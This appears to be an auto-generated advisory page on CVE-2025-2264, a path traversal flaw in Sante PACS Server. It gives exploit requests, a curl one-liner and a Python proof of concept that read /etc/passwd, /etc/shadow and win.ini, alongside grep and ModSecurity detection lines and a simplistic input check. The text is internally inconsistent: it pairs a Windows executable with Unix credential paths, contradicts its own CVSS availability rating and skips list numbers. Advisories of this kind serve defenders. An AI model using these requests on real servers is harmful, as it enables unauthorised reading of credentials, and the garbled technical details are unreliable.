How CVE-2025-2264 Works
CVE-2025-2264 is a critical path traversal vulnerability in “Sante PACS Server.exe” allowing unauthenticated attackers to read arbitrary files on the server. The flaw occurs due to improper sanitization of user-supplied input in file download requests. Attackers manipulate directory traversal sequences (e.g., ../) to bypass intended restrictions, accessing sensitive files like configuration files, databases, or system credentials. The server fails to validate requested paths, enabling unauthorized disclosure of critical data.
DailyCVE Form:
Platform: Sante PACS Server
Version: Not specified
Vulnerability: Path Traversal
Severity: Critical
Date: 04/03/2025
What Undercode Say:
Exploitation:
- Craft a malicious HTTP request with traversal sequences:
GET /download?file=../../../../etc/passwd HTTP/1.1 Host: <target_ip>
- Use tools like `curl` or Burp Suite to automate exploitation:
curl http://<target_ip>/download?file=../../../../windows/win.ini
Detection:
1. Scan for vulnerable instances using `nmap`:
nmap --script http-vuln-cve2025-2264 <target_ip>
2. Check server logs for suspicious traversal patterns:
grep "../" /var/log/sante_pacs/access.log
Mitigation:
1. Apply vendor patches immediately.
- Implement input validation to reject paths containing
../:if "../" in user_input: raise ValueError("Path traversal attempt blocked")
3. Restrict server permissions using least-privilege principles.
Additional Commands:
- Exploit PoC (Python):
import requests target = "http://<target_ip>/download?file=../../../../etc/shadow" response = requests.get(target) print(response.text)
- Protection (ModSecurity Rule):
SecRule ARGS "@contains ../" "id:1000,deny,msg:'Path Traversal Attack'"
Analytics:
- CVSS 4.0 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
– Impact: Confidentiality (High), Integrity (High), Availability (None). - Exploitability: Network-based, no authentication required.
